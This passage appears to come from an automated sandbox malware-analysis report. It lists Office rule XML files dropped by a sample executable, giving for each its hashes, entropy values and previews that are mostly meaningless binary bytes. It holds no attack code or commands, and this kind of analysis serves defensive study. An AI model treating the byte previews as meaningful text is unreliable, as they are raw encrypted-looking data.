Preview:	<?xmlSF8b2..r.Z)..TBv....U:......\|.g.Q...o.(.R.`.91.....&.'..v!..X.'....Q..O.........6}..p.0.E.2.^..'..{xa.!....O....{h.F....a.d..3..0.4..r...V....0I..&.O..(N..4.-h.a[.....:......[.s..,.-.2.~u.,."7..~6iZ...v.....e....p...#.".....w.T....'0lE...O..B.m#....q.U"/.y.....1G......W...lm(7..g.C..`H./.v..3!.H..b.G.......e..6[..9.......ot.F.}..>..V..9..^K.7......`...ta.{\|.........0/....@.9dp..\4.'. j..(..E.......sCN.....n.s.ai.e..z..a....?-...I.e.8%..iVhWKc[..x..9Z15....6.A.K.L..=..R.W...g._iD..0_..,.o.h...%........j..V4YP..!. .?{...BP0.%}e..w.2$.}.A..%.2.4.[.hG..D.(.....X$.sXZ.2.[...op.AI.b].E.#.G.%.....}R..N..kO..-.[.}..H..F...H7.,,=)Xt.....EV.(..9o..el.d.z....1...)&=.d...Z...z.874..W........Cl.x..U...M.,..k=.0I?.L....~._.<1..>.x0..[&..@o(_S.......\.#.F.....Q]=..<.Cz..x...zr.l.R..8}..I.w....e..P.t..n..(..=y.O-X..A..H.H..b.....u..V.64.T.D/?-x.#.Z.b.5......W........}..D....'?..4..Cxj.u.o....:..n.t9././.......p..@sm.wCj-...?8.95#B......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702601v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.887842042610426
Encrypted:	false
SSDEEP:	48:gKT3eXxOj8TJ71OQX9lpjrfAbJyRi8Xe5/D:j3mYj8xEWpjrpg
MD5:	6B229D626CC2286FB4C02EF9787135BB
SHA1:	7A36B6551889E002195EC6365807801553EC46AE
SHA-256:	9DCB0BE043F5B69710EDB7C86AFDC4FF44A65C62F0955B07758FF6E2B284863F
SHA-512:	A945497FD24855DDA746B7DBBA27E6B866F593381E69584B1498BB259D63506D25B91E7A066CACCA0F7F185E3A231A9E3E201E42EBE7DFEDD83CF0FABDFAE6F2
Malicious:	false
Preview:	<?xml]..P..zB9..:P.m..~.......P5.......Ah...{...0..zH2V.....jN.cE..h..........@.#M..........=..a......V..`....^u.v.........4<..'.j.a.G..[.8.J.......>e.<..vB.=..6i". B..,Vn........7.CE...+1....#..\...2.,.\=&.t..T..1.T...@6.,).$.H.bp..h.......J.rpe..pzaa.JX.....G...VsZ.........].=...O.ga.;z....R&G..x.Rp.Xs.'mx..3U..b.k..J.......Y.....W.{...br<r.F+.[Vx[.p..W\...V$...g....F.H=.:.1... u.B..r.q......I?..;5....0..m.x.B.>..O...M.a.$$g..J7.z.w....H...\4Y.<v...~r.Dh.17'd..6.y.....Yo<...c....}.T.`....\|^...#.3.FQ...bJ,... ~..=l..^..p...tb,b.R........H.J..(..=...F}..J.8..ryn~..Q...v...S..YZh=...J..92....d.=f..Y......,Vbo.J\....:5....3..U3...C.+..6v\|..@J...9..Z^.-.a....?.\|........Mg-.WmT...\/R.B.....)..iM!.....T.Y.wd.w........]..y1....kd.EQ.."M.q..'4....C.H}..a7..j.*.K..`......R.r.(.)p+...@..\krN.T..E.3...3......._.2..{..Y......6...,J.=U..(@3h.f."...$.19D...A..;%o.j.4........v..:a.c..V2...(.b..8...d~....B...T..A.i...'.FD.;xf^...=-....b#A,..B.\|...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702650v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.884956170933715
Encrypted:	false
SSDEEP:	48:PkeH2gPzdgoeOLVVb+ETnD2EEvT9m8TW3xnbD:kgLSo7LDW9mtp
MD5:	42467F54B779A24BD4AE80C3913794B6
SHA1:	5289F107D5E90C6EAF10A80CA8474C867A1B427F
SHA-256:	03C5F657125AB921B2B48DE898A8EDCF06FAD541C390C23A7891EDD4F483F235
SHA-512:	A07DE7C059DDF014E033F60346E43F47E476FBA375F7287734B404A90F5D63E7EE38F24763BA584644A464E511B9C16A26CAB5A468ECD62768E50F966E8817E6
Malicious:	false
Preview:	<?xml8.x.XLD7..T..~.i7.. m&...... ..6..U..........qi.o.$l.R..d,Cfl.<.7KR...v......2.f..0.12...JW..F,".....t...Ww.......?..'.i.y..x''.l.....b0cT.O...i..Eg5.q.Ux.cHV8.C=t.f...Y..i@.K....u....T..<....J.q..A%..!sik4..6..Q...7.G@O.>..C..w..s........2.....^}...x8.\.J3......Z..X\.3n]...s.....Tb$...~X.f.]..."4.p:nj. .r.r..;.......U....dK..y.n......).Zc.l.....-.<<S.w%.N}i.@...=....=..x...5V.h..q....(J#....JT]i.it.Bf.........by..Q..+...5....@..A....S]..A..v,R....{(.3..2.Ed.!....x.f........-8..w`x..).!wz..j..s%....`....S..w..F.........l.t>Y.=!"Y .r"La-!.?.....l.?.p...nN.....x....Q.F..L..%KP...[.....W...B..u....g....'Q.Y;....qJ.,..a.5..(..u...3U.Q...Y.O..3......Ro.?.4..A..E....$k.:?....xf.g_gE.9=t`....T.$b\|}.qP....1.S.?...4..4AdE.-L...) .%...TO.m....\|......l.P..+?.m.>...\|v6H.7N.......L...:..7....(0.}.:...P..o....B..h.b../...S&.;.'6vS<z.i.."...k..?uS.UbJ......-=..k..U......q....{46B..(%......}_.E.5..r\|...S.".}2R....\.......Vp.Vu...d._^..\.>..}.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702651v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.884865982634957
Encrypted:	false
SSDEEP:	48:gNLdqyIE81crNyMpWYIwgNJaw7nCdQzfGFmD:oJJIEhIUqNJawVzfP
MD5:	44B4831DE68F7355DB54BD5DCBCC7E99
SHA1:	C96BF0D821FD888570932302400BF2255AF523CA
SHA-256:	D87D78A279BF325246C8EDEA15306428C451729A95A526A109A17D7A9955C01A
SHA-512:	8E1A618C2978D93889590ECCDC1A378E41F5AB26830725776F7F71428C6DE66166346C5D69AD55C1E9DFA9DD9512982506D8D8B78D5EE5B3BC34342D4298F16B
Malicious:	false
Preview:	<?xml.....V...5hDN.\r...Q...F.Y7&.B8w.s..Y.[o#>...p..%.dv..jM<..."....e4F'..Sjr...m....<z...~.R.w.`....n..A..&.....u..%.i....&o>....O.U..4.&..8e.....V)..N9T..:p._l......H....e..7..........T.....R.k++. ...IC....Q....C.RdQ.w...........rSj..i.l.]M}............CI.....-.. ....$.J..tM...R._ a.T..$.>.c....].ZXa....5...w..ad9}l..........)...w.F2....\|.g...~.\......#..9.>...H..........K........_...P..q.(=....-hP@.y..r6......8..).G...^w:Ia..=N..E....}J(. }.I.y.]...X..".H..o..q.P.....]..._H-%8..... ...3w..,...p.n..9.B..Q..:..}.J.`.9.....7.et...f../.Y.....x..Mc.H."...w..V&cV.G.:t!.. N.V.R../....@..M.4.".^1rgp...&.o..}........^..b]..}W..e..1]......HJ.g..XE>+..R........'.......Z`.2..Q..US.>. ..dc.F[.1g...4..:x...a....E$..2..b>..5.........f)....../;...o....X.Q.Q~t0Q.wp.yR.;#U\|X0...(9..z...U8O...$=.~../"..b.....L..>.W-.Txx5.VQ.......G..'.&E..Y...S...3..\[."."g....B...da.O....L.s^..}...e@w.G-a..B~....rq9.H... .....u4..G..v(l{P.Fu..O.=..8..".a.u....P?B.s.2"0.3{@

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702700v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.886364884270742
Encrypted:	false
SSDEEP:	48:X5YSUfngHYoPTR3Va+RTsS1ftuR+KMl5n/vKtTNZ1D:XmSUfnSLLDJ9kLNj
MD5:	361EA500E716281D527AD2BBF18356A1
SHA1:	02E8FEBFC7530B79BEE9A5109E3E48F2816B72D8
SHA-256:	B53BE2CE2229362AAD959DCAB2FA5BE3E8C90D5DB80E46E4A0F30BF88AA5508B
SHA-512:	D2FDEA251588AC5CEB9B14F4D4D146566DCD3B543E335F7CF1A4327E33D756A532FA3E692C72CDD45C8AAC82A41E03AD8F46D517FEE7199B00A1EF07E4654679
Malicious:	false
Preview:	<?xmlr....;q..g+6.t..`..s..8...H...R....,k..2......$s.c)..!.\|.?..z.;..V0.,..%m...p .iH.}a.W.#..[L(.Q.Q(..o".....>.VI..+ys....".....O..Ae.K......]..<..K[1........t....S.[.V..)e.F..b...2cV..5...,.M..)..t.+....(.K....4C..<.'..,..8..q.....a..sB.....7....NU.fC....B....L.ax..j.....W.\|...v.lH...{.k.)G.f#.P.....+...m.;n..,. ...A...\}K!..k.+.U`........=-......`....F.eU.%..6..9.....w.%...JL.n-e./.......A@.2..7....E.tA....8F'.b....l.wlA....K{y....h..>..:.......$.WV\|.7wc.n..u....jb._.2>...._..7)........Z.O.(..;t;.t........3.{..!.i.;o......6A.:.$+.u..Q......p....P.....]p\|...@L.....vZ...@.....poe..h.Ub.}..ZD..........P......(.b.O...7...u.../.f..N..dP4...?.8......}(J,.m..IY.SoL.Bt. .-..a...8...K.*.@.k.v.]....M~B.....6.<..`(..BHe..$....:\d.M. 2.._p5&[..t.Sz....d\.f+#..<.BZ`.aFa..T.e8..i$..EsK..(...Y.....%.....q.Q.}..>.!.6....&+.B..T.3...@Xy..A.3'....c.5b..5.....0.e..[e-..~..u.F....]..w.E....U..z.2M..].(...D_.)q..c./=....s... .#V.Q[.y.......'.c.d."

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702701v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.8840474979850335
Encrypted:	false
SSDEEP:	48:vp/U0XM0Bgda9RxvbaJ0fz2Kd+YpXCPsAKD:vOqpBKQRxzaJyt4OXt
MD5:	17C10ECA70873C9D8EAC11D7FD9208A1
SHA1:	0723E0FB4EDF7D5706EAEFCF1008776B04375CA4
SHA-256:	432E7E006C4B5D6973D1E01E01124F9054B89FBBFA2DCBE437150E843530AB53
SHA-512:	409F5E66B4E5E06D96CA0DB97E2493E19E30D9B3FD100616F29FEBCCE4836A73E4DBA7FD21822F9B69A2A3761FE975CABE9608D7CD29C16FC194BF4B643129A4
Malicious:	false
Preview:	<?xml..rf...b..q...s.G........=.;.G$..0.q..KO...."i.i}.:.].._Z.j.....]<.EU..e...\..#.w....M>r..SHC$.D.y.4.H...F....ie.....i%.[.3....D{_L.e7.8.....8Xv1...z.Z.v.Z.#......Kr.T...tK]`.......y^..(4%..T...ES...._.;N..:..]....Y..e..v?..^.."...?QpH5.].?Y.T.~u.b...~..,~D.-.......:.~..\...xX.....D.Li........Yz.m"...."x...\|j......)N.`f'-..Z.\.\..e.<.=.....R.fY%.R.[...s.=i..Qv..+.....6..0.q$(.@.....\|..f\E.....1...;..&L..~jK.Y3.....%....}l.fm......@....Ns?.z.^.wh......{.V}\|...1i.M..u.X(.....[...q/..#t......h....r..3lx.*wX..8:. [....).....#RQ.x\.TRI.1..1. .v;8.]@T"...pB......#..rw-............$....@.:...q...}.iv.m........0.&A:.............h..,............X.s..G%..7A{Py.....bD.....6w.#=..06{.)...q4..@B.D.-.Z\....s.f.....G...w...8..6.H.bR..[8...;.......r.SPh..2......9..Ji.P..l).......O.Y...8.n_....9.,o. C(..x...D..8..!.Rea!......n...........0!Q...+...i.6#i..5.m.E(u.LQ.............>JK...z_.N..N.QI<..9..t+...K....+...>K..bZ.........0.+7/...w.g.j..;.$..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702750v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.882754408279747
Encrypted:	false
SSDEEP:	48:DiM8WIYo8c/6ntoIUozPglid9BJercR1kD:GM8kfcooIPclKJeGw
MD5:	B25C03C5B9ED5D2D88DD424D61A365AB
SHA1:	8F93FB07C69559C831130C943DF3A9BF0B9C1BC4
SHA-256:	70FEDE3CAE699578949E7AD775950EC1BDF82498982E092872A583F102ED5945
SHA-512:	8AA32204173997CB5AE631A696D2B3848FF27989E7F4A9A49C833C2502A7103AC3181F495D1956E231EC877E97F4227502E456960AF576052FAD2FE3BE1E6034
Malicious:	false
Preview:	<?xml.Y....x.(..\|aF..^....4.w..%..BQ..i........sX._.V.y..._h...........u.E.)....Jp.D{...Y.s8.3.!............&.....P.....u.....a....UA%.R..9(e.;...s.....!...?..$r..1....F..C.f....N..b.7AH.U.."...6U..a..*......s.'`X..Q...bE.(....#..An7}{Ds.t2..E.@.......~.e.....o..2f6.$.X9@.rH.......(.....m.s.:.[........N.1Y...n..]...Y#...1.Uv.M...E.\F.4...'.d..I.\|.......lB.QR..P.KP.r...:=.......z..........2/.(1V....wl.........N.~.(9.....J.^r.5P......W.y...P........y..a...........z...".'...$\.".<i..d.94..}jt.nq.;j.....-k.~SF...K....J....T;..K&.....F..F............`.&.........${;..J9.:}%..Z......eA..B.....bI.....s..o;Z.&...SH...^E..l.:.....V.t...m-...c.#.^q..h..z..%/..4N[..`.....Q..6.u..s...\|........c>...8hy....u0d.m..".........)......J.?V...9..S.=.\8......b.....-i..Dp..t.s.@P.j=....1l.AZ.(_.....rp..'.}....)\|@a4..<..Z`.6.t.a").V#.V.0.... 6".N<.Sq..`.......g.4%.5........H28.1k..%$7.C.4...&aP.-.B..<....mi...{8.Xgb..f.....J&.[.Gx....V_....`.b..)....=.V.m..[9O..p.j

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702751v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.886667216748319
Encrypted:	false
SSDEEP:	48:x+qfkBRUOZsCiD2xafp7B/BxviF3aTHo86kKiE9SlD:MqfkBRUOZ+axavw3Eo2E+
MD5:	C164834CFADED7A5A16CE0013CAC110B
SHA1:	2A5D333C6F7E37F9C2DACFE73EE53A074BA2B20D
SHA-256:	5A1A7F95D6787E1B8A290E50B50D6829127A704EE03020D4E4C060745C1C1FBF
SHA-512:	AE29544FC87E201D9F452F40541A94382B53A9A760E8A0817B08CC33A5D96FADA535ABDA0551771005C150BE582C0B2436D61E71D0B5632C0743FA2B737D26AF
Malicious:	false
Preview:	<?xml....j.L.`Z...^+...c.y2....p.X.Z...=...C.b.Q&....bj._.?M^S.c!N[..............O.;#8:.y..y.z.ds4.a....{.."t{j>..&X....jf..!..u.Aq....O......l6...X.FxFu.....8.v. Z,WR_y]..].....M....0.,...."A..m;..(.p.`.V..E4.I......J...>~D....=....m..f..!.+a....9..$m..+...`t}.w...8....I#..,3oO..>...T......s.mHMmoq.....0.5...$l...s.z.....j...r..6!..y.h....4..m.^Op.....>..!..H...>F.. Z....8[A...^.xv..%.Hg...(G......9...A]..{"..p.LX..\.....z..R..tDx%o<.\....[n.0......A.S.c.6=H.@..!.l."...F}...j^..K..xM ..}...[}.=v..<.u..m.^BL..5.....G.yBK}r@...f[.vE.RpZ.pG;..egf.}.u.!T+7...,.]j.......oC....7."t..xz.X............2a..s..Q..../u.s14.....&.]kks....x,.@."....d.0..{........8./C...m.b..Oz:h0Io.{..gMTBB..((.n.b...[...h4^.K....n......-4y3j.['n..K.Jm..\..t.....D..4a..^.OXN...;*..L.R._/...P.y+`.AX...Z..R...m.......T./..r.....2e}s.X]W..5fXz3.".J^..;.Ds[........c...h5......>a...\|.>......'<Pb3K:.g....W.@...Bq.>/4g.%..U..N...[.k<...<`M.K...y.<.D&.{..!...;7.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702800v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1687
Entropy (8bit):	7.8739554856384695
Encrypted:	false
SSDEEP:	48:UANOvIU7li+j0boXlmbyZmT5bk2W6KMr64Y3Z8ar6DtOYD:UUOvz7li+jwPSiy2W65uZ8arytD
MD5:	0EAC879F03755C0D2D55628D6D005958
SHA1:	AF4E410F20C8F02485FC8640667C03C83A2117CC
SHA-256:	3B4739AA1FA50AA34B8A9904AA443DCA7CEE2E9AE21A317F993B36BD5A13008F
SHA-512:	BB7A5C9AD7731CB3578BF9AFF68A4B26E89340B9CA1C67541145BCC41ACBA82F95C6EE0D22F76FC59117FF52B35EF12485FA9A9A057FBD8B0D0A970A1BC71679
Malicious:	false
Preview:	<?xml.m ]..G ....I6.a ...z.B.......u.......H9.m1.....z"Vv.?U.....<J.+..<.N...".w..Y.$.F.5.je....R..^`..b.1 ...`m.+.CIt.. w.v).j..w.m.;.".?.(3...9.....2.~...[..t.8)z..Z. (.K...[..o21....p..O..6....G..................z{..k.O.....$GU.A0.m."$..5.BG=^H..'Z...........-<FU..1...0....T.>...-.O....:.?..!..uj.XsZt.J...U(u......9......N..}.U"Oz..~...9.5k.l.~J..L..[\C....../.e!..7...0.Mj,}...]...Xg.0`WE......3.n.....HSv.(9E..=d.Oi.......,E...8.SHC..7i.U{.eB..............(.Uhk@(.q.}U2...4.7..s...8qh......v...?...a.gOv.6d..........IB%.....o.......G..@1b..mA..$L.{..A.n.._.2.....zs=..{....9............b..........n. ,L.7..m...v......9.s..o.....p.6K).K..X@H.e.\.9..}?..L#.f4.l..8....3.....WR..J...1Q.F...E.+.[1....!A..-..,#}..../M....K..>.Xx?2.6.w.-.\|\..................qrp%p..Gt`zk.q......$..@.s.k.nb...?....Q....;...5^X.VJ....?L........j...1.h&...3g\|....J....hO...fR.........z.U.g1A.[..E[[. uU+...7..`z.....1.....I(..+mX.e..`..c....4....bGI...7bT.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702801v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.891389828972059
Encrypted:	false
SSDEEP:	48:gVfq612d4qLOYTkK52OOMa5SRLaiAfcUD:gVfj1Q4MOyp2OOii9
MD5:	B0372D4C3065076469EE12F4578B5CCD
SHA1:	0F84E7BE4143A831E4F2217AC7EEBCDA42983DEB
SHA-256:	F3B14E7B562D64841392DDC3F3B06A0986D491B2415683055D16A0E3D1351770
SHA-512:	7FAA4458417E36EF3B2E400540EB4008E30C5858FEDE738EF632F29FDF1BEA0D7C633D23B8D9D1C3F4EEBDAA0203242E788459D78A98ADC46FF3E89B2C66C4B4
Malicious:	false
Preview:	<?xml..<.X_..f.Og.{.?..x....o$..M"..-.\|.......o......:.K..@x...#.:.d!a.........`...p..M...r...W...s.@,.%..b.l..,g...{...4qj.c.TQ:..CG.....A.e..Q.].^F.....k.}w./..u].iz.)........X...a...6>L..\1c..!..9.....=.9..j....b.>........o.Qc.[.....0.......4._..}7.s.$Ge..K^J..i......M.7E..#./.m.......)..fQ..........[.l.A,e,..U>.>&.g\|.....B.+9..J.x.....54.(l..>.u.-6....7.e.A.....w............;....P,8.\|...).5^...4......M'..E.c.D.`..^f..3...#f..&a.....M_......u....6%F.q..h.W....#..`..n.\|. ..1a{...r...Q.\|.%../..Z...Lw.-o.y....K..Y.O.fZl..:Gu..)k....J/U.+.o9._Y..t...=.@....b(.5.{..h.....S...f.,+..G..,....c..P.>.{b...t?Y.!h=+#r.f.X......<..."....y.(..x..)....C...s6..-....I\|.gF..#!.h.MH.....k2.R.....[...._Y...n.}DE.7..jo\|..X...Mt...L..w......I..T.....bS......W.Zs...........;.`.. ..z.'$j....A(..% .2..cl.....r.......b..&AUG...L...<M....D1V.../t...8MG.'.......$_rs...}..#s.. ..i.>h.3.O..j\|#gg......l~.S........>.A_.Bk.c......,..<....m.G$^;<...w.....$\|i

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702850v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.882288821257362
Encrypted:	false
SSDEEP:	24:xiFQmNr0rbVG2o1VNnXC6ORIAZaOLIzHXa7CmHABZYTbShqesSU34yiEulJ24dGm:EF5BvXCxEoqJfO3ViEWJbdGp85D
MD5:	E51BFE7DD65AF4285126FDD7765CCE8C
SHA1:	4925756F3899D7A99E6D30BCE8FD036551092BC7
SHA-256:	2A39880649AB0C090CE2D32CCB24223133D2146EFDBDAEE461B7C5C29B81A08B
SHA-512:	94CE4CE987DAF48D4CC9BCDB68E5D4C9DB7B8FA166A22337AED4A4D356208E57093786B1D751460142C20E527526C6F7FA48F7AE185E0D43777315BEEEBAE0C4
Malicious:	false
Preview:	<?xml....:8.Y.~.>...aA.......6f.%.<.h....i.......>0..j.!.5.5..s.?..#.:...~..Rt-.....L..o.^._1.....t....E..Y.......c+p...Y.f....1.2.^..D.....Q$\|.....R.X..mQx..r.0u.G.ve..J.-..S../q...B.<Zb..G..U.........]j.?...Xl9.^o+..a..6.\n......2..gP.`.z...i4a.%F........r......-..1....`J.r{.d.f.F3y.\|..4..w3...H.Z....f.4...8...B........dD.rCNW..1..o N.?$....@_@..7A..D%o....D.Q....8\|..ZyJ..J.....%}..m...n~.........n.`..2&..,...E...3..k...n@.\..[...p..'..9......M..m.d7.....q9...?...g..N..K...>`..N.%.S..Y..U.K......L"..~.-.m..g\|k..7..c.....\|....`...M..,..U.$y.q.xC.......e`.q..i..(..XDw...,.=.a.o..Z..M..9...I...k.K6...v.....)...90.....d..l..`.\|....zp...F.l..H..QL.~....l.`=r.r....A=.:.1.....g..j..W."./J9..zQ.).1.s$!.g=....D.....SCi../.wEt<..L.....N.t.p..eW\|..;?R.hY......3+.")..-..~.&/\|>..`.~7.}0 ..qF....I...VGm>........Ra.J.....U.]'.....^..8R.9P/.3......o.I......JT..l#F.<!.Mgp.>......)E...D.d...]....t.....0....l..G.+.-.B....O.k...k....?.. p..pV.d.....*..L2..&...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702851v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.904154236540628
Encrypted:	false
SSDEEP:	48:i0hbZDMsuFwl2QM1qNGwEOBFRSuHYgL1oryVUDpg+lD:pGB5J17wEu4+xod
MD5:	C29961B0B82B32F22831BAE918CE9D69
SHA1:	31E47F1C3F64E94F93F76F538D08E5AAA5976E86
SHA-256:	F77CA2EEFB1278E9B8787F71AB37FD7F86AA30E78DFC61EF7C252E4523405F0D
SHA-512:	5A65D34A82BBA32494B2C2F153452E77099845536E66B8876C0AD1A9575C67DD9EF7149B7E77D16A8505910A47999B3794C281C23C04ED407A8F4B8EA49020D3
Malicious:	false
Preview:	<?xml.q...jW!.6.t.. .\...y.i.....2.^.f....2..Gg..8k0h`..vj".._`....P:....g...h....-..WQ.rf-..4...\|..#.......l..[.Pti\..(.....I..l.\..>.C6..jR..l.?Z....D..Z.I.?}...=..r.&.t.B.....kg_...5.{d.=.93.R.v._.V.d(cYk......8..T..G]].oY@...K.I}5L..N....I{n5.....Bn._e4.7.S..=.A.).F....w.X..7.%..;B...F...:.+.~...Nf.....5.U.:...,z.}K..Eft..!..T.n.Z......:fI..Ed.(.D... .,S......w....,....z.q..;..B..K+\b]u.g..F...../.LJ....4..o...$.W}...]....\..a.....V.KN:...e.#.L.(..P....1D...<.J.NL.....`2......7..J...r.O.......st\...:..{.0. .=..;0:......;......{\..........S....s3....lb.[Qp..F.W...@..^.u.......i..}.t....<.$...H...K........bJ5..Z9...Ge..d.Gu.Dx...C.RUl.4.;j.0.H..g&.#.....y.I"..n..L..H....~.j.......b.z....9.j`..q.(.).~...~..ao.\|.$....).d u..o....k..r/ud......`.[o.<X.`.9.[:...Oy>...f...S\|...w.2.5...<..}.2.uF..-._..q....qxo....O.....V...............X.)....I...-.0..2S.<Nm..0...R......{...........v.W..?..@.x.. u...U..`<.;`.6....(.Y._....X.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702900v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.8769733090841285
Encrypted:	false
SSDEEP:	48:sKYvG08Ub2z86kr2N+s2LlBka6HAejFt0mMK4Ci9F/jmGf5/jf4VkprD:sK23KII+95BkVH90KF6xfBQ6H
MD5:	DC56809631F5E1A3927BD8E6121C9D18
SHA1:	746D3CAE8158D0BD6A583A86009C24CA866CFEAD
SHA-256:	D75B1BE6161796772DAE1AAB476A06A616259BE85E66D5929E26D0174CEA7F60
SHA-512:	E78913D7B3AFBBA7AD68BE91520BE7886E6CC3F0657FB3CAF7D22D65EE9BADD7E8DD338EE03A66A39A733FDF57E162467A81A3F747F454324D77B8602F458F3F
Malicious:	false
Preview:	<?xml.^..j...m..l.-.../.I....0F.._L.....9C.^w.....b..b$E.q.]......FN.X.o.j....FLG.0t...w@....h.`.......q&......w.~@>._.F6.e...a!sc..T.}.....N...&.~....'........[n..1#.m\.(Z......5".(.$...~....%......3&+O..i.GQF.......6L...i....bM.I6c....Hc....n...k..e.o(n.../HH%./R.0@'A@3.....((....y......z...8#.`w.I.....u(.C.!((...... X.G...^v....U.....NUU.L'.)#I4ox....M d.iLE.)]...C..P. 6..)x..2b:."._.....&_.....?s...s..R...o.....w.E....=Cw.5..c......^U.N.x.....\|...ku............?.e..5dbE....iY...............By.zl.f...8./..;.....P..T....hz...c.....5....+.x.....9.........g....e/..J...T:S.2..%..`...f.]..#f Ht.W`.=8.F..5.d:W...6.]......9h.`c...W.W.8.ot.@.F...`............B.Hi..=..x=o\|..-..4.Y.]..i...A.X2.2[q.Q.{..K..3..6.[..a.0...3/..c........._..mX6...&.7`..E....QhR?...<...w.rN.q.Y=K....3..C..&.`..;w..s......^.......CC.@....td .:J....@D..O.o.Hb.......//.6..[Q..P...gK..o.I....o....E4V*.k]K>.W....cv$..A...DI..c0....N.9R.Ev...Dx..c....oxq..(..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702901v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.874561993787642
Encrypted:	false
SSDEEP:	48:uYDNCoLpK3BgQvg9pW4W8kG5f5bGS3wYfyt2L8hfD:4odUK59pW4Zhb/Xx4N
MD5:	8CCE4EB565ECE064C38B4E4AB75AB5DA
SHA1:	7599AFB985FC7BA1FE9816F2F9D8E749A44106CF
SHA-256:	C3106494CE5CD6BF5565099C97B2D227E08C8025901108034BED5CACE47E0866
SHA-512:	F587A9E0BA6EE6733ADDF566005386DD04AE22E977C06F3E5E062770E4EDCD2EF9AEEB8127147241D73BDBF9682A043938697AD11040C608423D203783857674
Malicious:	false
Preview:	<?xmlW........<..O...k.h.XV.E}}..i........}.}$+'B..n.$..s...4!.p.p....LP..#..a.&]m..........~..D..ukN.q.Z..6....L... .qW.....X..hY..U.@...W}..).j8.3...F...j...g....i..9...N . ...F.=&.j!5Y.n..\...,.nD.1..o..k..9.+.?`9..O....I.....-).RD..)...\..T.[.....vA...+...w.9..b..v.D.D..Mme..rq.ai..by.9O06_vm.s...(..OY..x.E.>.!..nK. ]Y`.4.j..F.q}..8.C... .....]...H....8.......SP.U(...0g.lf...;`...%.Y...z.H.Ocb\.F+...,.hz...L.e)}..._J...s...w.........._...2.=\|....Ol...~....S...%X8_E@."......=rF...LBi..}nuw0...B..6....8..jj..e..;.!?.Z.J...h..>%c.M.E+.....;D..G3..=..R......t.....H.rM..9...M1....p.0......:YZ......n$.4.q`#9.1...\..V.5^9.:>.s.4..J.h..u8...(;.l..H.p......f..F....\|p....W3... .s.>..$`t..l.= .2..%&kj3.yl...<.a.(~0gy..6......E...i)@.u.1...mgR%/.#...t........#....8.N.J.P..O..6..=.{.v9...6..U.\|.\.k....t..OC#.Wg_.%..K...!.:\-...P_\|S.......,.3Kt.$..D.&$+......'..ur`..4YLy.N..w.m....JOg......-]nJ\..........DF../.y1v[.~.-....!.6.P...Py.n4.j.g.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702950v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.872853229645803
Encrypted:	false
SSDEEP:	48:WiTCOPxpZ4mxnHB30XDp97G0qbZlswSpekE73Ij2eaeD:WSCcxpZnh3AeswSsN3ju
MD5:	EBD66EEEA9C8C5B5A68316DE964CDC2E
SHA1:	FDB21718316F2C0C2465767704412B302A24D5D2
SHA-256:	F08323810090FBDF5D2E451312AF56FEAC519836FA7D72D7506D49C6BDB30A90
SHA-512:	B747864F711625974197579435F60E268420F33A835BC044E319CF4C4DB5AD73715F351B96EAB516D37216E12944FCB321CFFE039EC76C9E9C0FC182E0128B6C
Malicious:	false
